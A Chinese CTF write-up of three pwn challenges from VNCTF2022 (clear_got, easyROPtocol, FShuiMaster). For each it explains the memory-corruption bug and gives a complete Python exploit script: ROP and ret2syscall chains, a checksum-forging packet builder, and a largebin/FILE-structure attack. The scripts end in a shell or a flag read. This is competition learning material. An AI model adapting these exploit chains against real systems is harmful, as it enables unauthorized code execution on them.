1. 程式人生 > 其它 >VNCTF2022-pwn-wp

VNCTF2022-pwn-wp

目錄

VNCTF-2022-pwn-wp

V&NCTF2022比賽中pwn的題wp,持續更新中。

  • 上午在HideOnHeap中浪費了太多的時間,嘗試了好幾個思路都失敗了,以後還是不能太頭鐵(下次還敢
  • 平時得多積累一些有用的函式或指令碼,比如_IO_str_finishshellIO_FILE建構函式

clear_got

checksec

沒有給libc,後來測出來遠端使用的版本是libc6_2.23-0ubuntu10_amd64

漏洞點

main函式就一個簡單直接的棧溢位,但是got表被清空,沒完全清空,還剩下__libc_start_main。後面的stdoutstdin也都在資料段上。

利用思路

清空了got表,考慮使用ret2syscall,發現程式中有syscall; ret。這裡主要是利用了一個gadget

0x000000000040075c: mov eax, 0; leave; ret;

結合end2函式,正好可以洩露出libc地址後,執行構造syscall呼叫read函式,再重新給got表填上。最終思路為:

  • 棧溢位並利用end2洩露出__libc_start_main地址和_IO_2_1_stdout_地址

  • 使用

    libc-search1或者libc-search2查詢出遠端的libc版本

  • 重新給puts@got填為system

  • 呼叫puts@plt,實際執行system("/bin/sh")獲取shell

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

# remote libc: libc6_2.23-0ubuntu10_amd64

"""
0x000000000040077e: syscall; ret;
0x00000000004007f3: pop rdi; ret; 
0x00000000004007f1: pop rsi; pop r15; ret; 
0x0000000000400539: ret;
0x000000000040075c: mov eax, 0; leave; ret;
"""

pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
sysret = 0x000000000040077e


payload = flat({
    0x60:[
        0x000000000040075c,
        pop_rdi,
        1,
        pop_rsi_r15, 
        0x601040,
        0,
        0x400773,
        pop_rdi,
        0,
        pop_rsi_r15,
        0x601008,
        0,
        sysret,
        pop_rdi,
        0x601008,
        elf.plt.puts
    ]
}, length=0x100, filler="\x00")

io.sendafter("Welcome to VNCTF! This is a easy competition.///\n", payload)

msg = io.recvn(0x38)
libc_start_main = u64(msg[:8])
stdout = u64(msg[0x20:0x28])
log_address("libc_start_main", libc_start_main)
log_address("stdout", stdout)
libc_base = libc_start_main - 0x020740 # __libc_start_main offset
log_libc_base_addr(libc_base)
log_address("stdout offset", stdout - libc_base) # validate libc

io.send(flat({
    0: "/bin/sh\x00",
    8: [libc_base + 0x045390]*6 # system
}))

io.interactive()

遠端打:

easyROPtocol

這題其實本地很快出來了,但是遠端打10次成功1次,搞不好中間哪一次就掛了,不知道是不是網的問題。每次send 0x1000個位元組過去,要睡眠好長時間才能得到遠端的回顯,而且中間極容易掛,其實可以把報文長度調小一點,只要能打棧溢位就行。賽後嘗試每次傳送0xe00大小的位元組過去,但還是掛(真是要命

所以這題啊,多試試,試試就逝世。

checksec

沒有開PIE和棧保護。遠端的libc版本為:libc6_2.31-0ubuntu9.2_amd64

開啟了沙箱:

漏洞點

submit函式中,存在棧溢位:

利用思路

漏洞點很簡單,關鍵是需要構造好報文,然後可以觸發submit中的棧溢位漏洞。

分析出報文的組成為:

struct message {
	uint32_t heap; 		// 固定值 0x28b7766e
	uint32_t size; 		// submit函式中的memcpy會校驗,依次為1 0x1001 0x2001 0x3001
	uint32_t _1; 		// 不能為0
	uint16_t type; 		// 要麼為5要麼為6
	uint16_t _2; 		// 不能為0
	uint16_t check_sum; // 校驗和
	uint16_t _3; 		// 必須為0
	uint16_t flag1; 	// 可控制submit函式的分支
	uint16_t flag2; 	// 當type為6時,必須為0xffff
	char data[];		// 資料
};

計算校驗和就是把整個報文加上一個fakeipheadfa,每兩個位元組取整數,然後異或,最後得到的值填充到check_sum

因此,利用思路總結如下:

  • 構造好4個報文
  • 利用棧溢位,使用write洩露出libc地址(submit函式溢位後rdx6,正好可以洩露地址)
  • 再執行一次main函式
  • 使用libc中的gadgets,用orwflag

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

def calc_sum(payload):
    res = 0
    payload = b"fakeipheadfa" +  payload
    assert len(payload) % 2 == 0
    for i in range(len(payload) // 2):
        tmp = payload[2*i: 2*i+2]
        tmp = int.from_bytes(tmp, "little")
        res ^= tmp
    return res


def get_message(size, data=b""):
    payload = b""
    payload += p32(0x28b7766e) # head
    payload += p32(size)
    payload += p32(1)
    payload += p16(6)
    payload += p16(1) # 7
    # check sum後續補上
    payload += p16(0)
    payload += p16(1) # 10
    payload += p16(0xffff)
    payload += data
    last = payload[:0x10]+p16(calc_sum(payload))+payload[0x10:]
    return last


def create(size, data=b""):
    io.sendlineafter("4. Quit.\n", "1")
    sleep(1)
    data = get_message(size, data)
    print(f"send message, message length: {len(data)}")
    io.send(data)
    sleep(5)


def delete(idx):
    io.sendlineafter("4. Quit.\n", "2")
    sleep(1)
    io.sendlineafter("Which?", str(idx))

def submit():
    io.sendlineafter("4. Quit.\n", "3")
    sleep(3)

context.update(timeout=10)

payload = cyclic(0xfe8)
create(1, payload)

create(0x1001, payload)
create(0x2001, payload)

pop_rsi_r15= 0x0000000000401bb1

pay_attack = flat(
    [
        pop_rsi_r15, 
        elf.got.atoi,
        0,
        elf.plt.write,
        0x401a5e
    ]
)

create(0x3001, flat({112:pay_attack}, length=0x400))

submit()

libc_base = recv_current_libc_addr(offset=libc.sym.atoi)
log_libc_base_addr(libc_base)
libc.address = libc_base

delete(0)
delete(1)
delete(2)
delete(3)

payload = cyclic(0xfe8)
create(1, payload)
create(0x1001, payload)
create(0x2001, payload)

pop_rsi_r15= 0x0000000000401bb1

rop = ROP(libc)
rop.mprotect(0x404000, 0x1000, 7)
rop.read(0, 0x404600, 0x200)
rop.call(0x404600)
pay_attack = rop.chain()
create(0x3001, flat({114-8:pay_attack}, length=0x400))
submit()

io.send(asm(shellcraft.cat("/flag")))

io.interactive()

遠端打:

FShuiMaster

比較常規的題,有一說一,這一題做得最快。

checksec

保護全開,遠端的libc版本為:libc6_2.27-3ubuntu1_amd64

漏洞點

Edit函式,存在off by null

利用思路

分析題目後得知,只能分配largebin chunk,可輸入的範圍大概處於0x430 ~ 0x700;增刪改查都有。使用largebin attack結合一個off by null,然後打_IO_list_all即可完成利用。1

思路總結如下:

  • 利用malloc殘存的地址,洩露出libc地址和heap地址。洩露堆地址可以用largebin chunk上殘存的地址。
  • largebin attack,修改_IO_list_all為堆地址
  • exit(0) --> _IO_flush_all_lockp ---> IO_OVERFLOW呼叫鏈完成利用。libc版本不高,這裡我使用的是_IO_str_finish

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


def increase(size, data="deadbeef"):
    io.sendlineafter("Five: Finished!\n\n", "1")
    io.sendlineafter("Number of words?\n", str(size))
    io.sendafter("please input U character\n", data)


def edit(idx, data):
    io.sendlineafter("Five: Finished!\n\n", "2")
    io.sendlineafter("please input the page U want 2 change\n", str(idx))
    io.sendafter("Now Change U this page :", data)


def dele(idx):
    io.sendlineafter("Five: Finished!\n\n", "3")
    io.sendlineafter("please Input the page U want 2 tear off\n", str(idx))

def scan(idx):
    io.sendlineafter("Five: Finished!\n\n", "4")
    io.sendlineafter("please Input The page U want 2 scan\n", str(idx))


def fini():
    io.sendlineafter("Five: Finished!\n\n", "5")


io.sendlineafter("Please Write U Name on the Book\n\n", "roderick")
increase(0x440) # 0
increase(0x448) # 1
increase(0x4f0) # 2
increase(0x440) # 3

dele(0)
edit(1, b"a"*0x440+p64(0x8a0))
dele(2)

increase(0x440) # 4
scan(1)
libc_base = recv_current_libc_addr(offset=0x3ebca0)
log_libc_base_addr(libc_base)
libc.address = libc_base

increase(0x448) # 5 1
increase(0x4f0) # 6

increase(0x440) # 7
increase(0x448, flat({0x440:"\x01"})) # 8
increase(0x450) # 9
increase(0x440) # 10
dele(7)
dele(9)

increase(0x500) # 11

increase(0x440, "a"*8) # 12
scan(12)
m = io.recvline()
heapaddr = u64_ex(m[8:-1])
log_address("heap address", heapaddr)

dele(1)
f = IO_FILE_plus_struct()
pay = f.getshell_by_str_jumps_finish_when_exit(libc_base + 0x3e8360, libc.sym.system, libc.search(b"/bin/sh").__next__())

increase(0x450, flat({0x58:heapaddr+0x110,
    0xb0:0xffffffffffffffff,
    0x100: pay
}) + b"\n") # 13

dele(13)
edit(5, p64(0x3ec0a0 + libc_base) + p64(libc.sym['_IO_list_all']-0x10)[:7]+b"\n")

increase(0x500)

fini()

io.sendline("cat flag")

io.interactive()

遠端打:

引用與參考

1、My Blog

2、Ctf Wiki

3、pwncli

本文來自部落格園,作者:LynneHuan,轉載請註明原文連結:https://www.cnblogs.com/LynneHuan/p/15890280.html